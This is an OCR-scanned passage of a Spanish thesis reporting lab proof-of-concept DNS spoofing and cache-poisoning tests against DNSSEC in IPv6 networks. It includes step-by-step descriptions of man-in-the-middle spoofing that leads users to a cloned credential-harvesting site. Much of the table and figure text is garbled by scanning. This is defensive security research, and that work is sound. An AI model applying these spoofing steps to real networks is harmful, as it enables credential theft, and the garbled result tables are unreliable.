firmado cuando la cadena esta firmada

n 3
@
=1 Validadores
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<
@ 2 m CACHE
Q
s m CLIENTE
@
© m CLIEN TE-CACHE
Z 1 -
0 _

Dominio no Firmado
www. hetworks.com

Figura 5.19 Resultados PoC exitosas Dominio No firmado Cadena Rota

En la Figura 5.19 por las autoras, se observa que de igual forma todas las pruebas
realizadas sobre el dominio networks.com son exitosas, sin importar que el
proceso de validacion sea realizado tanto por el servidor caché DNS como por el
cliente.

En el caso de MITM cliente-cache las consultas realizadas por el cliente solo
llegan al atacante que suplanta en todo momento al servidor DNS caché. A
diferencia de los casos donde el MITM se realice cliente — Gateway y cache —
Gateway donde el atacante suplanta a los diferentes servidores externos de los
dominios raiz, com y networks.com, segun hasta donde alcance a llegar el
servidor cache antes de obtener una respuesta falsa a su consulta, dando como
resultado el envenenamiento del cache y la suplantacién del dominio.

5.2.5 Anélisis comparativo de los resultados obtenidos cuando la Cadena
DNSSEC esta Firmada y cuando esta Rota

A continuacion se realiza el analisis comparativo de los resultados obtenidos de
las PoC de DNS Spoofing cuando la Cadena de Confianza DNSSEC esta
Firmada y cuando esta Rota (COM Firmado y COM Sin Firmar):
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Andlisis PoC DNS Spoofing para los Dominios Firmados
www.comunicate.com cuando la Cadena esta Firmada y cuando esta Rota

En la Figura 5.20 por las autoras, se muestra las PoC de DNS Spoofing exitosas
obtenidas por validador (cache, cliente o cliente y cache), para el dominio externo
Firmado www.comunicate.com, cuando la cadena DNSSEC presenta los 2
estados (COM Firmado y COM Sin Firmar):

PoC exitosas por validador para COM firmado y COM sin
Firmar

Validadores

m CACHE
mCLIENTE

= CLIENTE-CACHE

N° de pruebas exitosas

www.comuhicate.com www.comuhicate.com

COM Firmado COM sin firmar
Dominio Firmado

Figura 5.20 Comparacion COM firmado y COM Sin Firmar para el Dominio
www.comunicate.com

En la Figura 5.20 por las autoras, se observa que todas las pruebas de DNS
Spoofing realizadas sobre el dominio externo www.comunicate.com cuando la
cadena DNSSEC esta rota (COM sin firmar), son exitosas, a diferencia de
cuando la cadena esta completa, las pruebas son exitosas solamente cuando
valida el servidor caché, mientras que en los casos en que el cliente realiza
validacion (cliente y cliente-cache), las pruebas son No exitosas.

Cuando toda la cadena de confianza esta firmada y el servidor caché realiza el
proceso de validacion, este no es vulnerable al envenenamiento de caché, en
cambio cuando la cadena de confianza esta rota, sin importar quien realice el
proceso de validacién, ya sea el servidor cache y/o el Cliente, en ambos casos el
servidor caché se envenena, principalmente en los casos donde se realice MITM
entre el servidor caché y la Gateway o el cliente y la Gateway. Los resultados
obtenidos se muestran en las siguientes Tablas:

C-F: COM Firmado. C-SF: COM Sin Firmar.
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SUPLANTACION DE | ENVENENAMIENTO DE| VALIDACION VALIDACION
ESCENARIOS DOMINIO ESTADO MIT™M VALIDADORES DOMINIO CACHE CACHE CLENTE POCEXITOSA

CACHE-GATEWAY S| NO S| NO S|

CF CLIENTE -CACHE CACHE S| NO S| NO S|
www.comunicate.com . CLIENTE-GATEWAY S| NO S| NO S|
CACHE-GATEWAY S| NO NO S|

C-SF CLIENTE -CACHE CACHE S| NO S| NO S|
CLIENTE-GATEWAY S| NO NO S|

Tabla 5.24 Resultados comparacién C-F y C-SF Dominio www.comunicate.com cuando

Cache Valida.
DOMINIO ESTADO MITM VALIDADORES SUPLANTACION DE | ENVENENAMIENTO DE( VALIDACION VALIDACION POCEXITOSA
ESCENARIOS DOMINIO CACHE CACHE CLIENTE

CACHE-GATEWAY NO NO SI S NO

oF CLIENTE -CACHE | CLIENTE-CACHE NO NO sl 5l NO

it ; CLIENTE-GATEWAY NO NO S| Sl NO

Www.comunicate.com

CACHE-GATEWAY sl NO NO sl

CSF CLIENTE-CACHE | CLIENTE-CACHE sl NO NO NO sl
CLIENTE-GATEWAY SI NO NO S|

Tabla 5.25. Resultados comparacion C-F y C-SF Dominio www.comunicate.com cuando
Cliente-Cache Validan.

Resultado PoC de DNS Spoofing cuando la cadena de confianza DNSSEC
esta Firmada y el MITM se realiza entre el Servidor Caché Validador y la
Gateway de la red CAFE cuando el Cliente No Validador consulta por el
Dominio Firmado www.comunicate.com.

RED INTERNA PoC DNS Spoofing RED EXTERNA

e .. . Dominic Firmado Cadena de confianza
2001:12:7000::CAFE:0/112 DNSSEC FIRMADA

ServidorDNS Raiz

CAFE-14 f.root-servers.net.
MITM
ATACANTE | BEBE:2
| Servidor Autoritario
| .com
I A.gtld-servers.net.com.
BECA:2
2. AAAA
www.comunicatejcom ?
Servidor Autoritario

comunicate.com

|
I
— R l
|

[ l

CAFE:1 BACA:2
1.
AAAN
. ROUTER DE|
WA, comunicate.com ?
Servidor FRONTERA | Servidor Web
Caché [ WWWLCOMUNI cate.com
Validador
| BECA:3
|
CAFE: 15
5.0 Linux S.0 Linux

Figura 5.21 PoC DNS Spoofing Cadena DNSSEC Firmada, Dominio Firmado
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En la Figura 5.21 por las autoras, se presenta la explicacion del proceso:

1. El cliente No Validador, realiza la consulta del dominio Firmado
www.comunicate.com al servidor caché de la organizacion.

2. El servidor caché realiza las consultas necesarias a los servidores externos
DNSSEC, para saber quién es el servidor autoritario que tiene la direccion
IPv6 del dominio.

RED INTERNA PoC DNS Spoofing RED EXTERNA

o ) Cadena de confianza
2001:12:7000::CAFE:0/112 Dominio Firmado DNSSEC FIRMADA

| § | Servidor DNS Raiz
| 5 f.root-servers.net.
CAFE:14 W
/ | BEBE:2
MIT™M
ATACANTE
3. | \/\ Servidor Autoritario
| S .com
e A.gtld-servers.net.com.
/ BECA:2
/ AAAA
www.comunicate.com?
Servidor Autoritario
comunicate.com

BACA:2
CAFE:5
2001:12:7000:CAFE: 14
ROUTER DEl Servidor Web
Servidor 4. FRONTERA www.comunicate.com

Caché ‘ |

Validador ormulario de Registro BECA:3
! CREA UNA CUENTA |

08:00:27:59:1B:51
|
CAFE A5
S.0 Linux S.0 Linux

Figura 5.22 Suplantacion Servidor Caché, Cadena DNSSEC Firmada, Dominio Firmado
El proceso continda en la Figura 5.22 por las autoras:

3. Mientras el servidor caché realiza el proceso de validacion DNSSEC de la
respuesta del dominio firmado www.comunicate.com, es suplantado por la
MAC del atacante.

4. El servidor caché, envia la respuesta suplantada del servidor DNS
autoritario del dominio comunicate.com por la direccion IPv6
2001:12:7000::CAFE:14 del atacante.
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5. De manera que el cliente es dirigido al sitio web falso clonado por el
atacante, cuando accede desde el navegador, como se muestra en la
Figura 5.23 por las autoras:

ormulario de Registro - Mozilla Firefox

o de Regisktro

(e [ON "1 comunicate.com e 2

Formulario de registro

CREA UNA CUENTA

cortes
luna@hotmail.com

luna P

Esta conexidn no es
Regis segura. Las credenciales
H introducidas aqui pueden

iYa tienes una cuel el e el De b
Saber mas

Figura 5.23 Consulta del Cliente No Validador desde el navegador

En la Figura 5.24 por las autoras, se muestra la evidencia de la consulta DNSSEC
del cliente No Validador, al dominio comunicate.com:

root@cliente-VirtualBox:~# dig AAAA comunicate.com +dnssec

; <<>> DG 9.10.3-P4-Ubuntu <<>> AAAA comunicate.com +dnssec

;3 global options: +cmd

y3 Got answer:

;¢ =>>HFADFR<<- opcode: QUERY, status: NOERROR, id: 3143

; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 6, ADDITIONAL: 0

y5 QUESTION SECTION:
;comunicate.con. IN AAAA

55 ANSWER SECTION:
comunicate.con. 3600 IN AAAA 2001:12:76000: :cafe: 14

;3 Query time: 2 msec
;3 SERVER: 2001:12:7000::cafe:5#53(2001:12:7000::cafe:5)
3 WHEN: Fri Aug 17 18:27:27 -05 2018
;3 MSG SIZE rcvd: 60
Figura 5.24 Consulta del Cliente No Validador desde la consola
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Se observa que el cliente recibié una respuesta de tipo NO ERROR, que
indica que no hubo errores en la respuesta DNS.

En el campo flags, se ve que el bit AD (Autenticacion de Datos), no esta
activo, el cual indica que el servidor caché NO ENTREGO A TIEMPO la
respuesta DNS VALIDADA, debido a que EL CLIENTE recibié PRIMERO
la respuesta suplantada del dominio comunicate.com, por la direccién IPv6
del atacante CAFE:14.

En la Figura 5.25 por las autoras, se muestra la evidencia de la Base de Datos
del servidor caché Validador:

Se observa que la base de datos del servidor caché Validador NO SE
ENVENENO, porque el servidor caché almacen6 la direccion IPv6
verdadera 2800:3f0:4005:403::baca:2 del dominio comunicate.com.

Los datos son SEGUROS porque fueron completamente VALIDADOS por
el servidor caché DNSSEC, a pesar de que al cliente le llegara primero la
respuesta suplantada del dominio por la direccion IPv6 CAFE:14 del
atacante.

root@validador:/var/cache/bind# cat named dump.db | grep 2001:12:7000::cafe:14
roat@ualidador :/var/cache/bind# !

r

secure
e04707 ARARR 2800:3f0:4005:403::baca:?

0
r

comunicate.com.

secure
604707 RESIG ARRA 8 2 604800 (
20180915183922 20180816183922 4644

ZoAPoebtelwNrneI9Db5fuouelTZnawkknX
LS5TDEmH4SOfEUhNYTSx1B6zE4QdJhQIvO9J
P1bU+zE31lhjsngpbrXwScuzZTHwlUK1P7s01i
RrF+7TyWIJHRPlrgoR2ZWInGuMSGE0lrPFgSZ5a
zEjdb9Bk1ltiGzmtjSOkICND+MGHho2BHTER]
YAI40grXJydiXrXZyETmiUnzIhgqgCgTNSPdr
U1lJkdLL3gA2cRtVBabwd LR2P43J8qg60319gK
zbjQeBgdtSz£51MpayKRSh9YfhogxcEnsuya
EyHCMseiWTEfCLiT3JoDAmotny4CtxmoVA/he
JDIIBYNHOjNpf6nGAA== )

Figura 5.25 Base de datos del Servidor Caché Validador
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Resultado PoC de DNS Spoofing cuando la cadena de confianza DNSSEC
estd Rota y el MITM se realiza entre el Servidor Caché Validador y la Gateway
CAFE:1, cuando el Cliente Validador consulta por el dominio Firmado
www.comunicate.com.

RED INTERNA PoC DNS Spoofing RED EXTERNA
2001:12:7000:: CAFE:0/112 Dominio Firmado
CADENA DE CONFIANZA
DNSSEC ROTA

08:00:27:45:09:19

CAFE: 3T

MITM - SterviSorDNS Ra;_
ATACANTE L root-Sen ers.n
BEBE:2
Servidor Autoritario
|| .com
A.gtid-
2. AAAA servers.netcom

www.comunicate.com ?

BECA:2

Servidor Autoritario
comunicate.com

1. AAAA
wAVW.Comunicate.com ?

ROUTER DE BACA:Z

Servidor FRONTERA

Caché
Validador

S

CLIENTE

CAFE:25
Figura 5.26 PoC DNS Spoofing Cadena DNSSEC Rota, Dominio Firmado

Servidor Web
WL Comun icate com

e 8 )

1
|
|
|
|
|
I
I
I
I
1
1
1
I
I
I
I
I
I
I
1
1
1
L}
|
|
|
| BECA:3
|

I

I

I

I

I

En la Figura 5.26 por las autoras, se presenta la explicacion del proceso:

1. El cliente Validador realiza la consulta del dominio Firmado
www.comunicate.com al servidor caché de la organizacion.

2. El servidor caché realiza las consultas necesarias a los servidores externos
DNSSEC, para saber quién es el servidor autoritario que tiene la direccion
IPv6 del dominio.

El proceso continda en la Figura 5.27 por las autoras:

3. El atacante suplanta las respuestas que llegan a la red interna de la
organizacion por la Gateway.
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4. De igual modo el atacante suplanta la respuesta del servidor caché,
enviando al cliente la respuesta suplantada del servidor DNS autoritario
comunicate.com, por su direccion IPv6 CAFE:37.

RED INTERNA PoC DNS Spoofing RED EXTERNA
2001:12:7000:: CAFE: 01112 Dominio Firmado CADENA DE CONFIANZA
DNSSEC ROTA
d
/ _ CAFE:37
4 MIT™ Servidor DNS Raiz
ATACANTE f.root-servers.net

CAFE:25

I
|
|
I
I
I
|
1
: BEBE:2
|
' Servidor Autoritario
! .com
I A.gtid-
| N servers.netcom.
I
| BECA:2
[ 4.
! ___| Servidor Autoritario
: comunicate.com
ROUTER DE | PACAS
Servidor Caché FRONTERA | 4
Validador ' :
Envenenado ! | Servidor Web
I www.comunicate.com
..... I e ——
|Gt | | BECA:3
4. !
I
|
1
I
|

Figura 5.27 Suplantacién Servidor Cache y Servidores externo, Cadena DNSSEC Rota,
Dominio Firmado

En la Figura 5.28 por las autoras, se observa que:

5. Ademas, el atacante envenena al servidor caché Validador, debido a que
inserta el registro DNS falso en la tabla DNS.

6. De esta manera, el servidor caché validador, envia la respuesta falsa al
cliente, siendo ambos validadores vulnerables, ya que no realizan la
validaciéon de un dominio firmado cuando la cadena esta rota, permitiendo
robar con éxito las credenciales de los usuarios, conectandose al sitio web
falso.
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RED INTERNA PoC DNS Spoofing RED EXTERNA

2001:12:7000::CAFE:0/112 Dominio Firmado CADENA DE CONFIANZA
DNSSEC ROTA
5
CAFE:37
MT™ Servidor DNS Raiz
ATACANTE f.root-servers.net

BEBE:2

Servidor Autoritario

servers.netcom.

BECA:2

6.
ﬁ_ Servidor Autoritario

comunicate.com
BACA:2

Servidor Caché 6
Validador -
Envenenado I bl
et ] www.comunicate.com
08:00:27:F1:2C:AS BECA:3

CAFE:25 I
Figura 5.28 Envenenamiento del Servidor Cache, Cadena DNSSEC Rota, Dominio Firmado

7. De esta manera, el atacante roba con éxito las credenciales de las victimas,
gue acceden al sitio web falso, como se muestra en en la Figura 5.30 por

las autoras:
Formulario de Registro - Mozilla Firefox >
/ Formulario de Registro * )+
€ (O & | www.comunicate.com c Q, Buscar b= =

Formulario de Registro

CREA UNA CUENTA

Andres | ‘ Lopez

andres@gmail.com

andres | ‘ sssee

iYa tienes una cuenta? Ingresa agui

Figura 5.29 Consulta del Cliente Validador desde el navegador
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En la Figura 5.30 por las autoras, se muestra la evidencia de la consulta DNSSEC
del cliente Validador, al dominio www.comunicate.com:

e Se observa que el cliente recibié una respuesta de tipo NO ERROR, que
indica que no hubo errores en la respuesta DNS.

e En el campo flags, se ve que el bit AD (Autenticacion de Datos), no estéa
activo y por lo tanto indica que el servidor caché y el cliente NO
VALIDARON la respuesta DNS, aceptando la respuesta FALSA
entregada por el atacante por la direccion IPv6 del atacante CAFE:37.

[root@Cliente-validador:~# dig AAAA www.comunicate.com +dnssec +multiline)

; <<>> DiG 9.10.3-P4-Debian <<>> AAAA www.comunicate.com +dnssec +multiline
;; global options: +cmd
;:; Got answer:

;; ~>>HEADER<<- opcode: OUERYL status: NOERROR,|id: 36687

;;[flags: qr rd rd: QUERY: 1, AN : 1, AUTHORITY: 2, ADDITIONAL: 1
;; OPT PSEUDOSECTION:

; EDNS: version: O, flags: do; udp: 4096

;; QUESTION SECTION:
;wWww.comunicate.com. IN AAAA

;; ANSWER SECTION:
Www.comunicate.com. 3600 IN AAAA 2001:12:7000::cafe:37

;3 AUTHORITY SECTION:

. 603543 IN NS f.root-servers.net.

603543 IN RRSIG NS 8 © 604800 (
20186918123957 20186819123957 36276 .
WOlds+3muKXufBfRYd09T9zPH+GQERwCc111kOQVp1NX4
IXgMA9TKviqSb+PD1Tke6LOZErkSvnu+BaQZE1VNHxMI
qQFzuulgNWOrCeQo/it5/h1JDYZbJ)/SgDN8pB8HA11P3V
99TQQNNI1UdKKLIVIWQ2eNteSGM8yV+11yN93QImUtVmy
mSRyowP5QgB1rnBESdXRuwMz2Qgt jcavEuSFxn6tEHIU
yX2+8XXONMhdJEGBYO/2gAD3wX4vKdi101Wrkcg8000epH
191 ZZAMUK ZWUGFOt xwiFCI47HOYYOt2+CcEVSOY/dRGO7
Lo0EVA/180fRxDVODRqtLOYPgUsGPp268dg== )

;; Query time: 19 msec

;; SERVER: 2001:12:7000::cafe:25#53(2001:12:7000::cafe:25)
;; WHEN: Sun Aug 19 20:58:22 -05 2018

;; MSG SIZE rcvd: 392

Figura 5.30 Consulta del Cliente Validador desde la consola

En la Figura 5.31 por las autoras, se muestra que la Base de Datos del servidor
caché Validador y cliente Validador, se ENVENENARON, al almacenar el la
respuesta falsa del dominio www.comunicate.com entregada por el atacante, con
el registro falso CAFE:37:
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root@validador:/var/cache/bind# cat named dump.db | grep comunicate.com
WwW . comunicate.com. 2631  AAAA  2001:12:7000::cafe:37

; answer
WWW.comunicate.com. 2631 AnAR 2001:12:7000::cafe:37

: Answer

comunicate.com. 3523 ARRA 2001:12:7000::cafe:37
; Answer
wWww.comunicate.com. 3495 mARARA 2001:12:7000: :cafe:37

Figura 5.31 Base de datos del Cliente Validador y el Servidor Caché Validador

Andlisis de las PoC DNS Spoofing para los Dominios Firmados
www.bancodk.com cuando la cadena esta Firmada y cuando esta Rota

PoC exitosas por validador para COM firmadoy COM sin Firmar

Validadores
3 = CACHE

= CLIENTE
ECLIENTE-CACHE

N° de pruebas exitosas

www.bancodk.com www.bancodk.com

COM Firmado COM sin firmar

Dominio Firmado

Figura 5.32 Comparacion COM Firmado y COM Sin Firmar para el Dominio
www.bancodk.com

e En la Figura 5.32 por las autoras, se observa que las pruebas realizadas sobre
el dominio bancodk.com tanto cuando la cadena esta completa y esta rota,
para el caso en que los validadores son (Cliente y cliente-Cache), el resultado
de las pruebas es no exitosas, debido a que el cliente validador como el
servidor cache validador poseen el ancla de confianza para el dominio
bancodk.com, la cual cubre las zonas seguras que son delegadas a partir de él
(www.transacciones.bancodk.com), a través de una delegacion segura creando
una cadena de confianza provista por el uso del Registro de Recurso DS, de
modo que cuando el cliente realice una consulta tomara los datos que reciba

de la respuesta como seguros y por lo tanto validara la respuesta.
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DOMINID E5TAD0 - ValDMoones | SUPVANTACONDE | ENVENENAMIENTODE | VALDACON | VAUDAON | o o)
ESCENARIOS DOMINIO CACHE CACHE CLIENTE
F | CACHE-BANCODK CACHE sl ] NO ]
CF www.bancodk.com CLIENTE -CACHE S| S| NO S|
F | CACHE-BANCODK CACHE sl ] NO sl
CSF CLIENTE -CACHE sl sl NO S|
Tabla 5.26 Comparacién de resultados C-F y C-SF Dominio www.bancodk.com cuando
Cache Valida
SUPLANTACIONDE | ENVENENAMIENTODE |  VALIDACION | VALIDACION
ESCENARICS DOMINIO ESTADO MITM VALIDADORES DOMING o o L | POCEATOsA
GF CACHE-BANCODK | CLIENTE-CACHE NO sl ] NO
www.bancodk.com F CLIENTE -CACHE S| ] NO
CSF CACHE-BANCODK | CLIENTE-CACHE Sl ] NO
; CLIENTE -CACHE ] sl NO

Tabla 5.27 Comparacion de resultados C-F y C-SF Dominio www.bancodk.com cuando
Cliente-Cache Validan

Como se observé que a lo largo del proceso, cuando el cliente no realiza
validacion es vulnerable a la suplantacién de dominio a pesar de que el servidor
cache realizase validacion y de igual forma cuando el servidor cache no realiza
validacion es vulnerable a envenenamiento. Debido a esto, se realiza una
comparacion para el dominio networks.com (dominio sin firmar) cuando el cliente
como el servidor cache realizan el proceso de validacion.

Andlisis de las PoC DNS Spoofing para el Dominio No Firmado
www.networks.com cuando la cadena esté firmada y cuando esta rota

PoC exitosas Cliente-cache para COM firmado y COM sin Firmar

,/
/

@ 37 ,

e
0N -
S /"/
= e Validadores
v 2 -
0 P m CLIENTE-CACHE
g /"/
s
o 1
[ 7}
o
=3
=

o .
www.networks.com www.networks.com
COM Firmado COM sin firmar
Dominio No Firmado

Figura 5.33 Resultados PoC exitosas Dominio No Firmado Cadena Rota

En la Figura 5.33 Por los autores, se presenta el siguiente comportamiento para el

dominio networks.com:
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En todas las pruebas realizadas cuando el servidor caché como el cliente realizan
validacion, la prueba es exitosa tanto como si la cadena esta completa como si
esta rota, con la particularidad de que cuando la cadena esta rota el servidor
cache cuando el hombre en el medio se efectia en cache-Gateway y cliente-
Gateway el servidor cache es vulnerable al envenenamiento del cache.

DOMIN 5TADO MM VALIDADORES SUPLANTACIONDE | ENVENENAMIENTODE | VALIDACION | VALIDACION POCENTOSA
ESCENARIOS DOMINIO CACHE CACHE CLIENTE
CACHE-GATEWAY Sl NO Sl NO §l
CF www.networks.com NF CLIENTE -CACHE CLIENTE-CACHE Sl NO Sl NO Sl
CLIENTE-GATEWAY S| NO Sl NO Sl
CACHE-GATEWAY Sl NO NO Sl
CSF www.networks.com NF CLIENTE -CACHE CLIENTE-CACHE Sl NO NO NO Sl
CLIENTE-GATEWAY Sl NO NO Sl

Tabla 5.28 Comparacion de resultados C-F y C-SF Dominio www.networks.com cuando
Cache Valida

Otra de las vulnerabilidades del sistema de nombre de dominio es el secuestro de
URL por el ataque del Typosquatting, que se aprovecha de los errores tipograficos
por parte del cliente al realizar la consulta. De manera que se realiza una
comparaciéon del comportamiento del protocolo cuando se consulta por dominio
inexistentes derivados de los dominios comunciate.com y bancodk.com cuando la
cadena se encuentra completa y rota.

Andlisis de las PoC DNS Spoofing para los Dominios inexistentes como
variaciones de comunicate.com y bancodk.com cuando la cadena esta
firmada y cuando estéa rota

PoC exitosas por validador para COM firmado y COM sin
Firmar

w
(3]
m -
:g Validadores
s 2 m CACHE
@ m CLIENTE
e = CLIENTE-CACHE
=2 1
o
]
=]
=]
Zo0

coomuhnicate.com coomunicate.com

COM Firmado COM sin firmar

Dominio Inexistente

Figura 5.34 Comparacion COM Firmado y COM sin Firmar para el Dominio coomunicate.com
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e En la grafica se muestra que el Unico caso en que la prueba es no exitosa es
cuando el cliente esta involucrado en el proceso de validacion ya sea en el
caso que valide solo este o que valide en compaiiia del servidor cache cuando
la cadena de confianza esta completa. Si la cadena de confianza esta rota, en
todas las pruebas realizadas sin importar quien valide la prueba es exitosa.

e En la siguiente tabla se puede observar que cuando la cadena estd completa
no hay envenenamiento de cache, cuando este participe en el proceso de
validacion. Sin embargo cuando la cadena esta rota, aunque el servidor cache
realice el proceso de validacion, este se envenena.

I I N . Dsoorss. | VPVAVTACON D (ENVENENAMIENTODE | VALDACON | VAUDACON |
DOMINIO CACHE CACHE CLIENTE
CACHE-GATEWAY NO NO S| sl NO
CF coomunicate.com NF CLIENTE -CACHE | CLIENTE-CACHE NO NO NO S| NO
CLIENTE-GATEWAY NO NO S| sl NO
CACHE-GATEWAY S| NO S| sl
GSF | coomunicatecom | NF | CLENTE-CACHE | CLIENTE-CACHE sl N [ N NO sl
CLIENTE-GATEWAY Sl NO NO sl

Tabla 5.29 Comparacién COM firmado y COM sin Firmar para el Dominio coomunicate.com

A continuacién se realiza una comparacion del comportamiento de la seguridad
proporcionada por DNSSEC para dominios inexistentes, en particular de dominios
derivados del dominio bancodk.com, del cual el servidor cache validador y el
cliente validador poseen el ancla de confianza del servidor raiz.

PoC exitosas por validador para COM firmado y COM sin
Firmar

N
|

Validadores
m CACHE

mCLIENTE
mCLIENTE-CACHE

N° de pruebas exitosas

o

baancodk.com baancodk.com
COM Firmado COM sin firmar

Dominio Inexistente

Figura 5.35 Comparacién COM Firmado y COM Sin Firmar para el Dominio baancodk.com
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e En la gréfica se puede apreciar, cuando la cadena esta completa el unico caso
en que el cliente es vulnerable, es cuando no esta involucrado en el proceso de
validacion. A diferencia, cuando la cadena esté rota en todos los casos las
pruebas realizadas son exitosas, sin importar que el servidor cache-validador y
el cliente-validador tengan ancla de confianza para el domino bancodk.com.

e En la tabla se observa cuando el servidor cache participa del proceso de
validacion, solo se presenta envenenamiento cuando la cadena esta rota, en
caso de que el MITM se realice entre el servidor cache y el servidor autoritario
del dominio bancodk.com, esto debido a que en este caso se busca alterar la
respuesta que entrega el servidor autoritario al servidor cache.

SUPLANTACION ENVENENAMIENTO | VALIDACION | VALIDACION | POC

ESCENARIOS DOMINIO ESTADO MITM VALIDADORES DE DOMINIO DE CACHE CACHE CUENTE | ExiTOSA

CACHE-BANCODK S| NO Sl NO S|
CF CACHE
CLIENTE -CACHE Sl NO Sl NO Sl

baancodk.com NF-I
CACHE-BANCODK g NO NO Sl
CSF CACHE

CLIENTE -CACHE S| NO NO NO Sl

CACHE-BANCODK NO NO Sl Sl NO
CF CLIENTE-CACHE
CLIENTE -CACHE NO NO S S NO

baancodk.com NF-I

CACHE-BANCODK N NO NO 4]
CSF CLIENTE-CACHE
CLIENTE -CACHE Sl NO NO NO Sl

Tabla 5.30 .Comparacién COM Firmado y COM sin Firmar para el Dominio baancodk.com

Andlisis de las PoC DNS Spoofing para los Dominios Firmados cuando la
cadena esta Firmaday el atacante estd en unared externa.

Se realizan PoC de DNS Spoofing solo cuando la cadena de confianza esta
Firmada, con la particularidad de que el atacante y la victima se encuentran en
redes diferentes.

Se probaron especificamente casos donde el atacante est4 en la red externa
BEBE donde se encuentra el servidor autoritario del domino raiz y en la red
externa BACA donde se encuentra el servidor autoritario del domino
comunicate.com.

Obteniendo como resultado, que si toda la cadena esta firmada, solo se presenta
vulnerabilidad en la seguridad proporcionada por DNSSEC cuando el proceso de
validacion es realizado solo por el servidor cache. De igual forma la extension de
DNSSEC protege al servidor cache validador de envenenamiento de cache.
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SUPLANTACION DE| ENVENENAMIENTO | VALIDACION [ VALIDACION POC
BRI e VALRAPCINES DOMINIO DE CACHE CLIENTE EXITOSA

CACHE

.
GATEWAY RED BACA -
COMMUNICATE.Com | CHENTE-CACHE ““

CACHE

coomunicate.com - R CED G
CoMMUNICATE Com | CHENTE-CACHE ““

CLIENTE

F
GATEWAY RED BEBE -
EERVROGROOT] CLENTECACHE ““

CLIENTE

coomunicate.com

GATEWAY RED BEBE -
SERVIDOR ROOT

Tabla 5.31 Resultados PoC Dominio Firmado comunicate.com y Dominio Inexistente
coomunicate.com desde la red externa cuando la cadena esta Firmada

CLENTE-CACHE

Andlisis de las PoC DNS Spoofing para los Dominios Firmados cuando la
cadena esta Firmada y el sistema DNS esta implementado sobre el sistema
operativo Windows Centos/Debian implementado DNSSEC NSEC3

Se realizaron PoC cuando el sistema de jerarquia DNS esta implementado sobre
una combinacion de sistemas operativos Windows-Centos/Debian, como se puede
encontrar en la vida real. Las pruebas se realizaron cuando toda la cadena de
confianza esta firmada con el fin de comprobar si el comportamiento de la
seguridad proporcionada por DNSSEC en redes de informacion IPv6 es igual en
los sistemas Linux que en los sistemas Windows.

Se realizaron pruebas principalmente para los dominios firmados bancodk.com y
comunicate.com y los dominios inexistentes (coomunicate.com y baancodk.com)
que se puedan presentar como variaciones de estos. Ademas de que en este
escenario de prueba, el Servidor Caché Validador es un Windows Server
mientras que el Cliente Validador es un sistema Linux.

SUPLANTACION [ ENVENENAMIENTO | VALIDACION | VALIDACION POC
EOMAL RS ] LALDARCRES DE DOMINIO DE CACHE CACHE CLIENTE EXITOSA
CACHE-GATEWAY
CACHE
E CLIENTE-GATEWAY
CACHE GATEWAY | \enTE-CACHE
CLIENTE-GATEWAY
CACHE-BANCODK CACHE
bancodk.com F
CACHE-BANCODK CLIENTE-CACHE
CACHE-GATEWAY
CACHE
. CLIENTE-GATEWAY
coomunicate.com F
CACHE-GATEWAY
CLIENTE-CACHE
CLIENTE-GATEWAY
CACHE-BANCODK CACHE
baancodk.com F
CACHE-BANCODK CLIENTE-CACHE

Tabla 5.32 Resultados consultas por los Dominios Firmados e Inexistentes, cuando la
cadena esta Firmaday el servidor DNS Validador es Windows
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Se obtuvo que cuando se consulta por dominios firmados el servidor caché
validador Windows tiene el mismo comportamiento que un servidor Linux. De
modo que las PoC realizadas son solo exitosas cuando la validacion es realizada
solo por el servidor caché, debido a que el usuario queda vulnerable a DNS
Spoofing por MITM. Cuando el proceso de validacion es realizado por los dos
validadores, no se presenta envenenamiento de caché en el servidor DNS ni el
usuario es victima de DNS Spoofing.

Sin embargo se presentd que para los dominios inexistentes a pesar de estar la
cadena firmada, el servidor Windows validador acepta la informacion entregada
por el atacante para estos dominios, a diferencia del servidor cache Linux que no
acepta la respuesta entregada por el atacante en estos casos. De modo que si la
validacion es realizada solo por el caché, el usuario queda vulnerable a recibir la
respuesta del atacante o la respuesta del servidor caché envenenado. Mientras en
el caso cuando validan los dos, a pesar de que el atacante responda al cliente o
que el servidor caché reenvié la informacion falsa, el cliente validador es capaz de
validar la respuesta.

Resultado PoC de DNS Spoofing cuando la cadena de confianza DNSSEC
estd Firmada y el MITM se realiza entre el Servidor Caché Validador Windows
Server y la Gateway de la red CAFE cuando el Cliente No Validador consulta
por el Dominio inexistente coomunicate.com, y el escenario esté
implementado sobre el sistema operativo Windows-Centos/Debian (Red
interna—Red Externa).

En la Tabla 5.33 se muestra de manera mas detallada, los resultados obtenidos de
la PoC de DNS Spoofing exitosas para los dominios inexistentes, cuando el
Servidor Caché realizaba el proceso de validacion de la respuesta DNS:

SUPLANTACION | ENVENENAMIENTO | VALIDACION | VALIDACION |  POC
DOMINIO ESTADO MITM VALIDADORES
DE DOMINIO DE CACHE CACHE CLIENTE | EXITOSA
CACHE-GATEWAY
CACHE
) CLIENTE-GATEWAY
coomunicate.com F
CACHE-GATEWAY NO S| NO S|
CLIENTE-CACHE
CLIENTE-GATEWAY NO Sl NO Sl
CACHE-BANCODK
baancodk.com F
CACHE-BANCODK | CLIENTE-CACHE NO S| NO S|

Tabla 5.33 Resultados consultas por los Dominios Inexistentes, cuando la Cadena estéa
Firmaday el servidor DNS Validador es Windows
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RED EXTERNA

PoC DNS Spoofing Cadena de confianza
Dominio Inexistente DNSSEC FIRMADA

RED INTERNA
2001:12:7000::CAFE:0/112

Servidor DNS Raiz
f.root-servers.net.

CAFE:14

MT™M
ATACANTE

BEBE:2

Servidor Autoritario
.com
A.gtld-servers.net.com.

BECA:2

Servidor Autoritario
comunicate.com

BACA:2

ROUTER DE|

Servidor
Caché
ENVENENADO

Servidor Web

FRONTERA
I www.comunicate.com

DO OO

BECA:3

Windows
Server

VICTIMA

CAFE:15

$.0 Windows Server $.0 Linux

Figura 5.36 PoC DNS Spoofing Cadena DNSSEC Firmada, Dominio Inexistente.

Envenenamiento del Servidor Caché Windows Server

En la Figura 5.36 por las autoras, se presenta la explicacion del proceso:

1.

El cliente Validador realiza la consulta del dominio Inexistente
coomunicate.com al servidor caché Windows Server de la organizacion.

Mientras el servidor caché realiza las consultas necesarias a los servidores
externos DNSSEC, para saber quién es el servidor autoritario que tiene la
direcciéon IPv6 del dominio.

El atacante envenena la Tabla DNS del servidor caché Validador,
insertando el registro DNS falso CEFE:37.

De esta manera, el servidor caché validador, envia la respuesta falsa al
cliente, siendo vulnerable el Servidor Caché Windows Server, permitiendo
robar con éxito las credenciales de los usuarios, conectandose al sitio web
falso.
